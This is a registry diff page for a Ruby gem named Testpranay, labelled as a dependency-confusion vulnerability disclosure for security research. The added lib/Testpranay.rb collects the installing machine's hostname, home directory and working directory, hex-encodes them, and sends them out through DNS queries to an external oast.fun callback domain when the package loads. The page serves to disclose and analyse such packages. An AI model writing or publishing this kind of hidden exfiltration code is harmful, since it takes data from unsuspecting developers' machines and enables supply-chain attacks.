Testpranay 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of Testpranay might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/Testpranay.rb +35 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 6d205fdcf5fabd04f0bf0c9e9e4f0b980cc45eb401e16a10a84c1f4465a40fb2
4
+ data.tar.gz: dd5fd8d56e5d25e83c7e72994198c64eb7fff3e26edc961625dd05ca91fce1f6
5
+ SHA512:
6
+ metadata.gz: 625ac34af6c591b96a49f86f73b313e6a0912da5d0cfa27432e2db5d130007b34bad44781b2cc664d7d40e2d773e6e3696a246e75025b60b2b06aaeb6445300a
7
+ data.tar.gz: 15605f3c56153f2ac93878d2d415fc294e9ccacf1bc8ef0ee26db4ead013286b543e9c0dd25f24284a5ed43205ae0520af30d14adc098c4544e32d2b8bda9e9e
data/lib/Testpranay.rb ADDED
@@ -0,0 +1,35 @@
1
+ require 'socket'
2
+ require 'json'
3
+ require 'resolv'
4
+
5
+ suffix = '.chyq05r2vtc000096sg0ge9modyyyyyyb.oast.fun' # Replace with your actual callback domain
6
+
7
+ package = 'Testpranay' # Replace with your package name
8
+
9
+ # Only the bare minimum to be able to identify
10
+ # a vulnerable organization
11
+ data = {
12
+ 'p' => package,
13
+ 'h' => Socket.gethostname,
14
+ 'd' => File.expand_path('~'),
15
+ 'c' => Dir.pwd
16
+ }
17
+
18
+ data = JSON.generate(data)
19
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
20
+
21
+ id_1 = rand(36**12).to_s(36)
22
+ id_2 = rand(36**12).to_s(36)
23
+
24
+ custom_res = Resolv.new([Resolv::Hosts.new,
25
+ Resolv::DNS.new(nameserver: ['8.8.8.8', '8.8.4.4'])])
26
+
27
+ data.each.each_with_index do |chunk, idx|
28
+ begin
29
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
30
+ rescue; end
31
+
32
+ begin
33
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
34
+ rescue; end
35
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: Testpranay
3
+ version: !ruby/object:Gem::Version
4
+ version: 2.0.0
5
+ platform: ruby
6
+ authors:
7
+ - Pranay
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-06-05 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This package is meant for security research purposes and does not contain
14
+ any useful code.
15
+ email:
16
+ - Bughunter@gmail.com
17
+ executables: []
18
+ extensions: []
19
+ extra_rdoc_files: []
20
+ files:
21
+ - lib/Testpranay.rb
22
+ homepage: https://rubygems.org/gems/Testpranay
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.3.15
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
45
+ test_files: []